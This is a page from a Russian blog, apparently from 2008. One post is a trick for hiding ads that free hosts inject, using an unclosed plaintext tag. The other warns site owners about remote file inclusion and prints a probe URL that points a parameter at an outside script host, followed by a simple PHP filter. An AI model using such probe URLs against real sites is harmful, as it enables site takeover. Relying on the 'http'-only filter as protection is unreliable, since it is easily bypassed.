</plaintext></pre></font>Старенький тег, который в современных стандартах не рекомендуется к использованию, заслуженно называется монстром HTML - все что идет после него браузерами будет отображаться как обычный текст, включая любые теги и спецсимволы. Действие этого тега нельзя отменить никаким другим и закрывающего для него тоже не существует. <br /><br />
<br /><br />
С помощью стилей указываем спрятать полученный текст и рекламы у нас нет. Насколько это будет этично по отношению к хостингу обсуждать нет смысла - предоставляемые ущербные возможности стоят гораздо меньше, чем возможность разместить рекламу на вашем сайте, которой они стали пользоваться совсем уж без зазрения совести.<br /><br />
<br /><br />
Отключить рекламу таким способом можно на следующих доменах бесплатного хостинга:<font color="darkblue"><br /><br />
<table width="90%"><tr><td width="15%">narod.ru<br /><br />
land.ru<br /><br />
nightmail.ru<br /><br />
newmail.ru<br /><br />
hotmail.ru<br /><br />
nm.ru</td><td width="15%">pochta.ru<br /><br />
fromru.com<br /><br />
front.ru<br /><br />
hotbox.ru<br /><br />
krovatka.su<br /><br />
mail15.com</td><td>mail333.com<br /><br />
pisem.net<br /><br />
pochtamt.ru<br /><br />
pop3.ru<br /><br />
rbcmail.ru<br /><br />
smtp.ru</td></tr></table></font> <p align="right"><font size="1"> <a href="http://www.liveinternet.ru/users/malcolmx/post63554634/" target="_blank">http://www.liveinternet.ru/users/malcolmx/post63554634/</a></font></p>
			</div>		
			<span class="pda-post_nav">
				<a href="?act=comments&amp;jid=1020875&amp;pid=63573773">комментарии: 0</a>
				<a class="pda-post_nav_like" target=_blank href="http://www.liveinternet.ru/journal_proc.php?action=like&tok=87a7655eb830f8c6288fa53fb73d2c04&journalid=1020875&jpostid=63573773&backurl=http://www.li.ru/">понравилось!</a>
				<a href="#top">вверх^</a>
				<a href="https://www.liveinternet.ru/users/rss_malcolmx/post63573773/" target=_blank>к полной версии</a>
			</span>
		</div>

       	
		<div class="pda-post">
			<span class="pda-post_hdr">
				<strong>RCE</strong>				
									<a href="?jid=1020875">rss_malcolmx</a>									
				<span class="pda-post_hdr_date">13-01-2008 13:17</span>
			</span>
			<div class="pda-post_body">
				<br/><br/>Remote code execution - выполнение удаленного кода в контексте вашего сайта, довольно неприятная штука. Если в скриптах сайта находится подобная лазейка, можете с ним попрощаться фактически - никто не запретит хакеру сделать всё что угодно, от доступа к приватным данным типа базы пользователей до физического удаления всех файлов.<br /><br />
<br /><br />
Столкнулся недавно с попыткой найти уязвимость данного типа на одном из сайтов. Выглядит очень просто - вместо стандартных параметров в адресную строку пытаются вставить некоторый адрес. К примеру ссылку<font color="darkblue"><pre>http://www.liveinternet.ru/im.php?_userid=971</pre></font>можно попробовать несколько изменить и посмотреть что будет, вот так:<font color="darkblue"><pre>http://www.liveinternet.ru/im.php?_userid=http://sixbillion.org/3/guj/egoqivi/</pre></font> По адресу <a href="http://sixbillion.org/3/guj/egoqivi/" target="_blank">http://sixbillion.org/3/guj/egoqivi/</a> сейчас лежит довольно простенький скрипт, содержащий в себе строку<font color="darkblue"><pre></pre></font>Атака будет считаться успешной, если скрипт выполнится и в полученную страницу будет вставлен результат его работы - пока просто строчка из 32 символов. Следующим шагом достаточно в тот же самый уязвимый параметр подставить адрес шелла (программы, для управления сайтом) и сайтик ваш.<br /><br />
<br /><br />
Нашел уже около сотни взломанных сайтов, которые могут использоваться для нахождения уязвимостей. В серверных логах каждый подобный запрос идет с уникального адреса, так что банить по IP практически бесполезно. Единственный выход - максимальная фильтрация вводимых пользователем данных и отсеивание тех, которые содержат в себе адреса<br /><br />
<font color="darkblue"><pre>foreach ($_GET as $key => $param) <br />{<br />   if (preg_match("/http/i", strval($param))) die("Error"); <br />}</pre></font> <p align="right"><font size="1"> <a href="http://www.liveinternet.ru/users/malcolmx/post63525530/" target="_blank">http://www.liveinternet.ru/users/malcolmx/post63525530/</a></font></p>
			</div>		
			<span class="pda-post_nav">
				<a href="?act=comments&amp;jid=1020875&amp;pid=63535827">комментарии: 0</a>
				<a class="pda-post_nav_like" target=_blank href="http://www.liveinternet.ru/journal_proc.php?action=like&tok=87a7655eb830f8c6288fa53fb73d2c04&journalid=1020875&jpostid=63535827&backurl=http://www.li.ru/">понравилось!</a>
				<a href="#top">вверх^</a>
				<a href="https://www.liveinternet.ru/users/rss_malcolmx/post63535827/" target=_blank>к полной версии</a>
			</span>
		</div>

       		

<br/><br/>
<!--AdFox START-->
<!--MarTi-->
<!--Площадка: liveinternet.ru / * / *-->
<!--Тип баннера: Mobile-->
<!--Расположение: 3-->
<div id="adfox_mob3"></div>
<script>
    window.yaContextCb.push(()=>{
        Ya.adfoxCode.create({
            ownerId: 254948,
            containerId: 'adfox_mob3',
            params: {
                pp: 'nol',
                ps: 'erxe',
                p2: 'fwbj',
                puid1: '',
                puid2: '',
                puid3: ''
            }
        })
    })
</script>
<br/>
	
	
<div class="pda-nav">
	<b>
			
			Дневник  
			</b>
	
						<span><a href="?jid=1020875&amp;friends=1">Лента друзей </a></span>
		 / <a href="https://www.liveinternet.ru/users/rss_malcolmx/">Полная версия</a>
	 	
	 	<span class="pda-nav_friend">
		  			   		<a href="/member2.php?action=addlist&userlist=buddy&userid=1020875&userownid=">Добавить в друзья</a>
		  			</span>	
		
	Страницы: 
		<a href="?jid=1020875&amp;page=1&amp;friends=&amp;lastpostid=">раньше&raquo;</a>
</div>				</div>
			</div>
		
		</div>
		 
		<iframe src="/cookie/check.html" width=0 height=0 marginwidth=0 marginheight=0 scrolling=no frameborder=0></iframe>

<!--AdFox START-->
<!--MarTi-->
<!--Площадка: liveinternet.ru / * / *-->
<!--Тип баннера: Mobile-->
<!--Расположение: fullscreen-->
<div id="adfox_mob_fullscreen"></div>
<script>
    window.yaContextCb.push(()=>{
        Ya.adfoxCode.createAdaptive({
            ownerId: 254948,
            containerId: 'adfox_mob_fullscreen',
    type: 'fullscreen',
    platform: 'touch',
            params: {
                pp: 'kdt',
                ps: 'erxe',
                p2: 'fwbj',
                puid1: '',
                puid2: '',
                puid3: ''
            }
        }, ['phone'], {
            tabletWidth: 830,
            phoneWidth: 480,
            isAutoReloads: false
        })
    })
</script>




<!-- Yandex.Metrika counter -->
<script type="text/javascript" >
   (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
   m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(51940778, "init", {
        id:51940778,
        clickmap:true,
        trackLinks:true,
        accurateTrackBounce:true
   });
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/51940778" style="position:absolute; left:-9999px;" alt="" /></div></noscript>

<!-- Yandex.RTB R-A-125905-43 -->
<div id="yandex_rtb_R-A-125905-43"></div>
<script>
window.yaContextCb.push(()=>{
	Ya.Context.AdvManager.render({
		"blockId": "R-A-125905-43",
		"renderTo": "yandex_rtb_R-A-125905-43",
		"type": "feed"
	})
})
</script>

<!-- /Yandex.Metrika counter -->
<script type="text/javascript"><!--
document.write('<img src="http://counter.yadro.ru/hit?r'+
escape(document.referrer)+((typeof(screen)=='undefined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape(document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">')//--></script>


	</body>
</html><!-- host158 / 20260426051855 //-->